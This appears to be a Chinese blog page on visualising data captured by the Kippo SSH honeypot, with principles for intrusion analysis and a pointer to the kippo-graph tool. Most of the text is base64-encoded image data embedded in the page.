BqaOL5OrtameZXLXh1UXPa3tnThdeC5bDBpouel7dJdcJh+Sat06u1sMG+jOUk6suvEo7cnid68jDBvwkV/Oe5m+HMeQVOUzI4XXeIrzajxkYdc/rzpS0M9kuTLTk8LrlLrwKhg0MccyA47CBQbfrYMzAdD0/29yaG4wZ2F3u7MWH0PN6ksk13vs63u927YfX7flWYW4wZiAzWUkH7nkdyZiBE+p2jZ2J8Nq0HjbgsudV7nZVwquSXB3D66kaMyCMB6c8BvjOCYLwaup2Xe6PGVDCq6bbVe15ndf1vPbDa2P3x1L53u9Sv/7v/+3CD3/4w88++yzyd3/3d7/61a+uXLny7lsvvfOd3//db3913MkcS6GVIylzJKWPpPRRe/jFuPTscSf7TFdyz7pntOSHX7zUp+O+ZB3LsVok9X/C3AlFJe27HFmUYyktWFAnY9oJNXujXE50hxFuTeFgupMAAAC4SURBVG2tMmeu6E9Z7rZd2Cefnrm0vJT+p47aGaXIZ7D+EaE7pkZ/OgpQ9GeGwYGvXi/amZO4WAS60Fgd/pRwi/YsmjkeHPLO1xSPZdQHRaBT+gkXi4PaeHTbleNO7thw3bcuR1Lmd7/91Tvf+f1333rphz/84c9+9rNf/vKXkS+//PI3v/nNr371q48++ujP/uzP3n3rJQqFQqFQKBQK5TSUxcXFP/mTP/n0009/+ctf/tVf/dX/DwJPTLUojUYVAAAAAElFTkSuQmCC" alt="" />

Kippo会自动把所有访问轨迹都记录下来,并保存到Mysql中(如果你有配置的话),那怎么解读这些数据就是我们接下来的问题了,即数据可视化,从什么角度去分析这些数据,从原则上来讲,我们进行入侵分析,要做到以下几个方面:

) 尽可能多的覆盖多的可能的访问路径,即尽可能多的模拟多一些主流的服务、端口、应用
) 即可能全面的记录下所有的访问轨迹,在数据记录阶段应该广而杂地记录所有可能有用的信息,为一下进行数据提取、分层作准备
) 从入侵、反入侵领域的角度去看待已经记录下的数据,建立相应的分析模型,这种模型应该具有很强的针对性。能直接、或间接地反映出入侵趋势、原因、强度

http://bruteforce.gr/kippo-graph,可以实现一定程度上的数据可视化,我们可以在它的基础上进行功能拓展,从而更好地对蜜罐捕获到的数据进行建模分析
SSH蜜罐可视化技术
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